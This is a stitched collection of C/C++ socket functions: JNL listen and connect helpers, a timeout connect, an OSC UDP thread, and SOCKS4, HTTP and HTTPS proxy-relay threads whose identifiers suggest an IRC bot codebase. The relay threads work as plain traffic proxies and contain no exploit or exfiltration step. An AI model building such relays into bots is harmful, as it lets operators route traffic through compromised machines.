void CRedirectSOCKS_Thread::StartRedirect() { char svn; if(xRead(m_sClientSocket, &svn, 1)<1) { xClose(m_sClientSocket); return; } switch(svn) { case 69: break; case 4: { struct socks4_hdr hdr4; sockaddr_in addrHost; int sServer; if(xRead(m_sClientSocket,&hdr4.cd,sizeof(hdr4)-2)<1) { xClose(m_sClientSocket); return; } if(hdr4.cd==SOCKS4_CONNECT) { memset(&addrHost, 0, sizeof(addrHost)); addrHost.sin_family=AF_INET; addrHost.sin_port=hdr4.destport; addrHost.sin_addr.s_addr=hdr4.destaddr; sServer=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(connect(sServer,(sockaddr*)&addrHost, sizeof(addrHost))==SOCKET_ERROR) { hdr4.vn=0; hdr4.cd=SOCKS4_REJECT; memset(&hdr4.userid, 0, 1024); xWrite(m_sClientSocket, (char*)&hdr4, 8); xClose(m_sClientSocket); return; } hdr4.vn=0; hdr4.cd=SOCKS4_GRANT; memset(&hdr4.userid, 0, 1024); xWrite(m_sClientSocket, (char*)&hdr4, 8); int iLen; char szBuf[1024]; fd_set fd; SET_SOCK_BLOCK(m_sClientSocket, 0); SET_SOCK_BLOCK(sServer, 0); while(true) { iLen=xRead(sServer, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); continue; } xWrite(m_sClientSocket, szBuf, iLen); iLen=xRead(m_sClientSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); continue; } xWrite(sServer, szBuf, iLen); } xClose(m_sClientSocket); xClose(sServer); } } break; default: break; } }
JNL_Listen::JNL_Listen(short port, unsigned int which_interface) { m_port=port; m_socket = ::socket(AF_INET,SOCK_STREAM,0); if (m_socket < 0) { } else { struct sockaddr_in sin; SET_SOCK_BLOCK(m_socket,0); #ifndef _WIN32 int bflag = 1; setsockopt(m_socket, SOL_SOCKET, SO_REUSEADDR, &bflag, sizeof(bflag)); #endif memset((char *) &sin, 0,sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons( (short) port ); sin.sin_addr.s_addr = which_interface?which_interface:INADDR_ANY; if (::bind(m_socket,(struct sockaddr *)&sin,sizeof(sin))) { closesocket(m_socket); m_socket=-1; } else { if (::listen(m_socket,8)==-1) { closesocket(m_socket); m_socket=-1; } } } }
void JNL_Connection::connect(char *hostname, int port) { close(1); m_remote_port=(short)port; m_socket=::socket(AF_INET,SOCK_STREAM,0); if (m_socket==INVALID_SOCKET) { m_errorstr="creating socket"; m_state=STATE_ERROR; } else { SET_SOCK_BLOCK(m_socket,0); strncpy(m_host,hostname,sizeof(m_host)-1); m_host[sizeof(m_host)-1]=0; memset(&m_saddr,0,sizeof(m_saddr)); if (!m_host[0]) { m_errorstr="empty hostname"; m_state=STATE_ERROR; } else { m_state=STATE_RESOLVING; m_saddr.sin_family=AF_INET; m_saddr.sin_port=htons((unsigned short)port); m_saddr.sin_addr.s_addr=inet_addr(hostname); } } }
int connect_no_timeout(unsigned int sockfd, const struct sockaddr *addr, int addrlen, struct timeval *timeout) { int error = 0, ret; int error_len; fd_set rset, wset; if (timeout == NULL) { /* blocking mode */ return connect(sockfd, addr, addrlen); } /* Set the socket to be non-blocking */ SET_SOCK_BLOCK(sockfd, 0); fconnect(sockfd, addr, addrlen); FD_ZERO(&rset); FD_SET(sockfd, &rset); FD_ZERO(&wset); FD_SET(sockfd, &wset); if ((ret = fselect(sockfd + 1, &rset, &wset, NULL, timeout)) == 0) { return SOCKET_ERROR; } if (ret == SOCKET_ERROR) { return SOCKET_ERROR; } if(FD_ISSET(sockfd, &rset) || FD_ISSET(sockfd, &wset)) { error_len = sizeof(error); if (getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (char *) &error, &error_len) == SOCKET_ERROR) { return SOCKET_ERROR; } } else { /* whoops: sockfd has disappeared */ return SOCKET_ERROR; } /* Set the socket back to blocking ioctlsocket(sockfd, FIONBIO, &block); */ if (error) { return SOCKET_ERROR; } return 0; }
void JNL_Connection::connect(int s, struct sockaddr_in *loc) { close(1); m_socket=s; m_remote_port=0; m_dns=NULL; if (loc) *m_saddr=*loc; else memset(m_saddr,0,sizeof(struct sockaddr_in)); if (m_socket != -1) { SET_SOCK_BLOCK(m_socket,0); m_state=STATE_CONNECTED; } else { m_errorstr="invalid socket passed to connect"; m_state=STATE_ERROR; } }
void JNL_Connection::connect(char *hostname, int port) { close(1); m_remote_port=(short)port; m_socket=::socket(AF_INET,SOCK_STREAM,0); if (m_socket==-1) { m_errorstr="creating socket"; m_state=STATE_ERROR; } else { if (m_localinterfacereq != INADDR_ANY) { sockaddr_in sa={0,}; sa.sin_family=AF_INET; sa.sin_addr.s_addr=m_localinterfacereq; bind(m_socket,(struct sockaddr *)&sa,16); } SET_SOCK_BLOCK(m_socket,0); strncpy(m_host,hostname,sizeof(m_host)-1); m_host[sizeof(m_host)-1]=0; memset(m_saddr,0,sizeof(struct sockaddr_in)); if (!m_host[0]) { m_errorstr="empty hostname"; m_state=STATE_ERROR; } else { m_state=STATE_RESOLVING; m_saddr->sin_family=AF_INET; m_saddr->sin_port=htons((unsigned short)port); m_saddr->sin_addr.s_addr=inet_addr(hostname); } } }
void CRedirectHTTPS_Thread::StartRedirect() { m_sServerSocket=INVALID_SOCKET; m_iConnections=0; int iErr=1; bool bFinished=false; while(!bFinished && g_pMainCtrl->m_bRunning) { url uURL; char szBuffer[MAX_PATH]; bool bGet=false; // Receive the proxy request if(!m_sClientSocket.RecvLineIRC(szBuffer, MAX_PATH)) { bFinished=true; break; } CString sBuffer(szBuffer); // Fail if there is no url // if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } if(!sBuffer.Compare("")) { bFinished=true; break; } if(!sBuffer.Token(0, " ").CompareNoCase("GET")) { // GET method bGet=true; // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) { bFinished=true; break; } // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } } else if(!sBuffer.Token(0, " ").CompareNoCase("CONNECT")) { // CONNECT method bGet=false; // Parse the host uURL.sProto.Assign("connect"); uURL.sReq.Assign(""); uURL.sHost.Assign(sBuffer.Token(1, " ").Token(0, ":")); if(!sBuffer.Token(1, " ").Token(1, ":").CStr()) { bFinished=true; break; } uURL.iPort=atoi(sBuffer.Token(1, " ").Token(1, ":").CStr()); if(!uURL.iPort) uURL.iPort=80; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPSVer(sBuffer.Token(2, " ")); if(!sHTTPSVer.Compare("")) { bFinished=true; break; } CString sOldHost(uURL.sHost); #ifdef DBGCONSOLE if(bGet) g_pMainCtrl->m_cConsDbg.Log(5, "CRedirectHTTPS(0x%8.8Xh): %s %s %s...\n", m_pRedirHTTPS, sMethod.CStr(), uURL.sReq.CStr(), sHTTPSVer.CStr()); else g_pMainCtrl->m_cConsDbg.Log(5, "CRedirectHTTPS(0x%8.8Xh): %s %s:%d %s...\n", m_pRedirHTTPS, sMethod.CStr(), uURL.sHost.CStr(), uURL.iPort, sHTTPSVer.CStr()); #endif char szBuf[4096]; strcpy(szBuf, "bla"); if(bGet) { if(!m_sClientSocket.Recv(szBuf, sizeof(szBuf))) { m_sClientSocket.Disconnect(); return; } } else { while(strcmp(szBuf, "")) // Loop while headers arent finished if(!m_sClientSocket.RecvLineIRC(szBuf, 4096)) { bFinished=true; break; } if(bFinished) break; } CString sReqBuf; if(bGet) sReqBuf.Format("%s %s %s\r\n%s", sMethod.CStr(), uURL.sReq.CStr(), sHTTPSVer.CStr(), szBuf); else sReqBuf.Format("HTTP/1.0 200 Connection established\r\n\r\n"); m_sServerSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(!m_sServerSocket.IsConnected()) { m_sClientSocket.Disconnect(); return; } // Connect to the server if(!m_sServerSocket.Connect(uURL.sHost.CStr(), uURL.iPort)) // Connect failed, exit { #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(5, "CRedirectHTTPS(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTPS, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif m_sClientSocket.Disconnect(); m_sServerSocket.Disconnect(); return; } if(bGet) { if(!m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength())) { m_sClientSocket.Disconnect(); m_sServerSocket.Disconnect(); return; } } else { if(!m_sClientSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength())) { m_sClientSocket.Disconnect(); m_sServerSocket.Disconnect(); return; } } int iLen; fd_set fd; SET_SOCK_BLOCK(m_sClientSocket.GetSocket(), 0); SET_SOCK_BLOCK(m_sServerSocket.GetSocket(), 0); if(bGet) { while(true) { memset(szBuffer, 0, sizeof(szBuffer)); if(!m_sClientSocket.RecvLineIRC(szBuffer, sizeof(szBuffer))) { Sleep(10); break; } if(strcmp(szBuffer, "")) { sBuffer.Assign(szBuffer); if(!sBuffer.Token(0, " ").Compare("GET")) { // Fail if there is no url if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) break; // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPSVer(sBuffer.Token(2, " ")); if(!sHTTPSVer.Compare("")) { bFinished=true; break; } sBuffer.Format("%s %s %s\r\n", sMethod.CStr(), uURL.sReq.CStr(), sHTTPSVer.CStr()); if(uURL.sHost.Compare(sOldHost)) { m_sServerSocket.Disconnect(); if(!m_sServerSocket.Connect(uURL.sHost.CStr(), uURL.iPort)) // Connect failed, exit { #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(5, "CRedirectHTTPS(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTPS, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif m_sClientSocket.Disconnect(); m_sServerSocket.Disconnect(); return; } sOldHost.Assign(uURL.sHost); } } else { sBuffer.Append("\r\n"); } if(!m_sServerSocket.Write(sBuffer.CStr(), sBuffer.GetLength())) break; } m_sServerSocket.Recv(szBuf, sizeof(szBuf), &iLen); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } m_sClientSocket.Write(szBuf, iLen); } } else { while(true) { m_sClientSocket.Recv(szBuf, sizeof(szBuf), &iLen); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } m_sServerSocket.Write(szBuf, iLen); m_sServerSocket.Recv(szBuf, sizeof(szBuf), &iLen); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } m_sClientSocket.Write(szBuf, iLen); } } m_sClientSocket.Disconnect(); m_sServerSocket.Disconnect(); bFinished=true; } }
void CRedirectHTTP_Thread::StartRedirect() { m_sServerSocket=INVALID_SOCKET; m_iConnections=0; int iErr=1; bool bFinished=false; while(!bFinished) { url uURL; char szBuffer[MAX_PATH]; bool bGet=false; // Receive the proxy request if(!recv_line_irc(m_sClientSocket, szBuffer, MAX_PATH, NULL)) { bFinished=true; break; } CString sBuffer(szBuffer); // Fail if there is no url // if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } if(!sBuffer.Compare("")) { bFinished=true; break; } if(!sBuffer.Token(0, " ").CompareNoCase("GET")) { // GET method bGet=true; // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) { bFinished=true; break; } // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } } else if(!sBuffer.Token(0, " ").CompareNoCase("CONNECT")) { // CONNECT method bGet=false; // Parse the host uURL.sProto.Assign("connect"); uURL.sReq.Assign(""); uURL.sHost.Assign(sBuffer.Token(1, " ").Token(0, ":")); if(!sBuffer.Token(1, " ").Token(1, ":").CStr()) { bFinished=true; break; } uURL.iPort=atoi(sBuffer.Token(1, " ").Token(1, ":").CStr()); if(!uURL.iPort) uURL.iPort=80; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPVer(sBuffer.Token(2, " ")); if(!sHTTPVer.Compare("")) { bFinished=true; break; } CString sOldHost(uURL.sHost); #ifdef DBGCONSOLE if(bGet) g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s %s %s...\n", m_pRedirHTTP, sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr()); else g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s %s:%d %s...\n", m_pRedirHTTP, sMethod.CStr(), uURL.sHost.CStr(), uURL.iPort, sHTTPVer.CStr()); #endif char szBuf[4096]; strcpy(szBuf, "bla"); if(bGet) { if(xRead(m_sClientSocket, szBuf, sizeof(szBuf))<1) { xClose(m_sClientSocket); return; } } else { while(strcmp(szBuf, "")) // Loop while headers arent finished if(!recv_line_irc(m_sClientSocket, szBuf, 4096, NULL)) { bFinished=true; break; } if(bFinished) break; } CString sReqBuf; if(bGet) sReqBuf.Format("%s %s %s\r\n%s", sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr(), szBuf); else sReqBuf.Format("HTTP/1.0 200 Connection established\r\n\r\n"); m_sServerSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(m_sServerSocket==SOCKET_ERROR || m_sServerSocket==INVALID_SOCKET) { xClose(m_sClientSocket); return; } // Fill in sockaddr and resolve the host sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family=AF_INET; ssin.sin_port=htons(uURL.iPort); ssin.sin_addr.s_addr=ResolveAddress(uURL.sHost.CStr()); if(ssin.sin_addr.s_addr==INADDR_NONE) // The host couldn't be resolved, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s could not be resolved (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } // Connect to the server iErr=connect(m_sServerSocket, (sockaddr*)&ssin, sizeof(sockaddr_in)); if(iErr==SOCKET_ERROR) // Connect failed, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } if(bGet) { iErr=xWrite(m_sServerSocket, sReqBuf.CStr(), sReqBuf.GetLength()); if(!iErr || iErr==SOCKET_ERROR) { xClose(m_sClientSocket); xClose(m_sServerSocket); return; } } else { iErr=xWrite(m_sClientSocket, sReqBuf.CStr(), sReqBuf.GetLength()); if(!iErr || iErr==SOCKET_ERROR) { xClose(m_sClientSocket); xClose(m_sServerSocket); return; } } int iLen; fd_set fd; SET_SOCK_BLOCK(m_sClientSocket, 0); SET_SOCK_BLOCK(m_sServerSocket, 0); if(bGet) { while(true) { memset(szBuffer, 0, sizeof(szBuffer)); if(!recv_line_irc(m_sClientSocket, szBuffer, sizeof(szBuffer), NULL)) { Sleep(10); break; } if(strcmp(szBuffer, "")) { sBuffer.Assign(szBuffer); if(!sBuffer.Token(0, " ").Compare("GET")) { // Fail if there is no url if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) break; // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPVer(sBuffer.Token(2, " ")); if(!sHTTPVer.Compare("")) { bFinished=true; break; } sBuffer.Format("%s %s %s\r\n", sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr()); if(uURL.sHost.Compare(sOldHost)) { xClose(m_sServerSocket); m_sServerSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(m_sServerSocket==SOCKET_ERROR || m_sServerSocket==INVALID_SOCKET) { xClose(m_sClientSocket); return; } // Fill in sockaddr and resolve the host sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family=AF_INET; ssin.sin_port=htons(uURL.iPort); ssin.sin_addr.s_addr=ResolveAddress(uURL.sHost.CStr()); if(ssin.sin_addr.s_addr==INADDR_NONE) // The host couldn't be resolved, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s could not be resolved (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } // Connect to the server iErr=connect(m_sServerSocket, (sockaddr*)&ssin, sizeof(sockaddr_in)); if(iErr==SOCKET_ERROR) // Connect failed, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } sOldHost.Assign(uURL.sHost); } } else { sBuffer.Append("\r\n"); } if(xWrite(m_sServerSocket, sBuffer.CStr(), sBuffer.GetLength())<1) break; } iLen=xRead(m_sServerSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sClientSocket, szBuf, iLen); } } else { while(true) { iLen=xRead(m_sClientSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sServerSocket, szBuf, iLen); iLen=xRead(m_sServerSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sClientSocket, szBuf, iLen); } } xClose(m_sClientSocket); xClose(m_sServerSocket); bFinished=true; } }
static unsigned WINAPI OscThreadProc(LPVOID p) { JNL::open_socketlib(); int sockcnt=0; WDL_Queue sendq; char hdr[16] = { 0 }; strcpy(hdr, "#bundle"); hdr[12]=1; // timetag=immediate int i; for (i=0; i < s_osc_handlers.GetSize(); ++i) { OscHandler* osc=s_osc_handlers.Get(i); osc->m_recvsock=osc->m_sendsock-1; if (osc->m_recv_enable) { osc->m_recvsock=socket(AF_INET, SOCK_DGRAM, 0); if (osc->m_recvsock >= 0) { int on=1; setsockopt(osc->m_recvsock, SOL_SOCKET, SO_BROADCAST, (char*)&on, sizeof(on)); if (!bind(osc->m_recvsock, (struct sockaddr*)&osc->m_recvaddr, sizeof(struct sockaddr))) { SET_SOCK_BLOCK(osc->m_recvsock, false); ++sockcnt; } else { closesocket(osc->m_recvsock); osc->m_recvsock=-1; } } } if (osc->m_send_enable) { osc->m_sendsock=socket(AF_INET, SOCK_DGRAM, 0); if (osc->m_sendsock >= 0) { int on=1; setsockopt(osc->m_sendsock, SOL_SOCKET, SO_BROADCAST, (char*)&on, sizeof(on)); ++sockcnt; } } } if (sockcnt) { while (!s_threadquit) { char buf[MAX_OSC_MSG_LEN]; bool hadmsg=false; for (i=0; i < s_osc_handlers.GetSize(); ++i) { OscHandler* osc=s_osc_handlers.Get(i); if (osc->m_recvsock >= 0) { buf[0]=0; int len=recvfrom(osc->m_recvsock, buf, sizeof(buf), 0, 0, 0); if (len > 0) { // unpacking bundles becomes trivial // if we store the packet length as big-endian int tlen=len; REAPER_MAKEBEINTMEM((char*)&tlen); osc->m_mutex.Enter(); osc->m_recvq.Add(&tlen, sizeof(int)); osc->m_recvq.Add(buf, len); osc->m_mutex.Leave(); if (osc->m_recv_enable&4) // just listening { int j; for (j=i+1; j < s_osc_handlers.GetSize(); ++j) { OscHandler* osc2=s_osc_handlers.Get(j); if (osc2->m_recv_enable && !memcmp(&osc2->m_recvaddr, &osc->m_recvaddr, sizeof(struct sockaddr_in))) { osc2->m_mutex.Enter(); osc2->m_recvq.Add(&tlen, sizeof(int)); osc2->m_recvq.Add(buf, len); osc2->m_mutex.Leave(); } } } hadmsg=true; } } if (osc->m_sendsock >= 0 && osc->m_sendq.Available()) { sendq.Add(hdr, 16); osc->m_mutex.Enter(); sendq.Add(osc->m_sendq.Get(), osc->m_sendq.Available()); osc->m_sendq.Clear(); osc->m_mutex.Leave(); char* packetstart=(char*)sendq.Get(); int packetlen=16; bool hasbundle=false; sendq.Advance(16); while (sendq.Available() >= sizeof(int)) { int len=*(int*)sendq.Get(); // not advancing REAPER_MAKEBEINTMEM((char*)&len); if (len < 1 || len > MAX_OSC_MSG_LEN || len > sendq.Available()) break; if (packetlen > 16 && packetlen+sizeof(int)+len > osc->m_maxpacketsz) { // packet is full if (!hasbundle) { packetstart += 20; packetlen -= 20; } if (s_threadquit) break; sendto(osc->m_sendsock, packetstart, packetlen, 0, (struct sockaddr*)&osc->m_sendaddr, sizeof(struct sockaddr)); if (osc->m_sendsleep) Sleep(osc->m_sendsleep); packetstart=(char*)sendq.Get()-16; // safe since we padded the queue start memcpy(packetstart, hdr, 16); packetlen=16; hasbundle=false; } if (packetlen > 16) hasbundle=true; sendq.Advance(sizeof(int)+len); packetlen += sizeof(int)+len; } if (packetlen > 16) { if (!hasbundle) { packetstart += 20; packetlen -= 20; } if (s_threadquit) break; sendto(osc->m_sendsock, packetstart, packetlen, 0, (struct sockaddr*)&osc->m_sendaddr, sizeof(struct sockaddr)); if (osc->m_sendsleep) Sleep(osc->m_sendsleep); } sendq.Clear(); hadmsg=true; } } if (!hadmsg) Sleep(1); } } // s_threadquit: for (i=0; i < s_osc_handlers.GetSize(); ++i) { OscHandler* osc=s_osc_handlers.Get(i); if (osc->m_recvsock >= 0) { shutdown(osc->m_recvsock, SHUT_RDWR); closesocket(osc->m_recvsock); osc->m_recvsock=-1; } if (osc->m_sendsock >= 0) { shutdown(osc->m_sendsock, SHUT_RDWR); closesocket(osc->m_sendsock); osc->m_sendsock=-1; } } JNL::close_socketlib(); return 0; }